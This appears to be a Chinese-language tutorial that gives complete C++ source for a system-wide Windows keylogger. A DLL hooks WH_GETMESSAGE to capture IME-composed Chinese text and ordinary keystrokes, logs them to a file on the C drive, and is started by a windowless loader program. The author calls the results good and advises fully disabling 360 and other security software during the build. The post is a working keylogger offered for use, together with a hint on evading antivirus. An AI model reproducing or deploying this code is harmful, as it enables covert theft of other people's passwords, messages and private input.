分为1个dll工程和1个Win32空工程。
新建一个dll空工程,字符集使用多字节字符集。以下是源代码:
shurufa.h:
#ifndef SHURUFA_H
#define SHURUFA_H
#include
#include
#include
#include
#pragma comment(lib,"Imm32.lib")
extern "C" void writefile(char *lpstr);
extern "C" void writtitle();
extern "C" __declspec(dllexport) BOOL InstallHook();
extern "C" __declspec(dllexport) BOOL UnHook();
#endif
#include "shurufa.h"
#define FILE_PATH "c:\\shurufa.txt"
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄
HWND LastFocusWnd = 0;//上一次句柄,必须使全局的
HWND FocusWnd; //当前窗口句柄,必须使全局的
char title[256]; //获得窗口名字
char *ftemp; //begin/end 写到文件里面
char temptitle[256]="<<标题:"; //<<标题:窗口名字>>
char t[2]={0,0}; //捕获单个字母
void writefile(char *lpstr)
{//保存为文件
FILE* f1;
f1=fopen(FILE_PATH,"a+");
fwrite(lpstr,strlen(lpstr),1,f1);
fclose(f1);
}
/*
void writtitle()
{//保存当前窗口
FocusWnd = GetActiveWindow();
if(LastFocusWnd != FocusWnd)
{
ftemp="\n---------End----------\n";
writefile(ftemp);
ftemp="\n--------begin---------\n";
writefile(ftemp);
GetWindowText(FocusWnd, (LPWSTR)title, 256); //当前窗口标题
LastFocusWnd = FocusWnd;
strcat(temptitle,title);
strcat(temptitle,">>\n");
writefile(temptitle);
}
}
*/
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。
// writtitle(); //保存当前窗口
writefile(lpstr); //保存为文件
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
char ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126) //可见字符
{
// writtitle();
t[0]=ch;
writefile(t);
}
if (ch>=8 && ch<=31) //控制字符
{
switch(ch)
{
case 8:
strcpy(str,"[退格]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[Enter]");
break;
default:strcpy(str,"n");
}
if (strcmp(str,"n"))
{
// writtitle();
writefile(str);
}
}
}
break;
}
}
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
return(lResult);
}
//HOOK_API BOOL InstallHook()
BOOL InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}
//HOOK_API BOOL UnHook()
BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=HINSTANCE(hModule);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}
再新建一个Win32的空工程,来调用shurufa.dll:
#include "..\shurufa\shurufa.h"
//win 函数入口
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpszCmdLine, int nCmdShow)
{
MSG msg;
TCHAR text[] = L"Error loading DLL!";
TCHAR title[] = L"Key Tracer";
BOOL error=FALSE;
HINSTANCE dllhinst;
//创建安装钩子函数指针,用来记录dll中安装钩子的地址
typedef BOOL (*InstallHook)();
InstallHook installHook;
//加载钩子dll
TCHAR dllPath[] = L"shurufa.dll";
dllhinst=LoadLibrary(dllPath);
//判断是否加载dll成功
if (dllhinst!=NULL)
{
installHook=(InstallHook)GetProcAddress(dllhinst, "InstallHook");
if (!installHook)
{
FreeLibrary(dllhinst);
error=TRUE;
}
else
{
installHook();
}
}
else {
error=TRUE;
}
if (error) {
MessageBox(GetDesktopWindow(),text,title, MB_OK);
}
while (GetMessage(&msg,0,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
生成的shurufa.dll和shurufa_main.exe放在同一个目录,然后双击shurufa_main.exe使之运行,不过不会有窗口,但是用任务管理器是可以看到的。
打开记事本,输入汉字,然后C盘根目录会产生shurufa.txt。
测试结果还蛮好的,汉字、英文、数字、特殊字符等,都可以记录下来。
注意事项:
在生成dll和exe的时候,要把360等安全软件关了,而不是简单地暂时停止保护多长时间。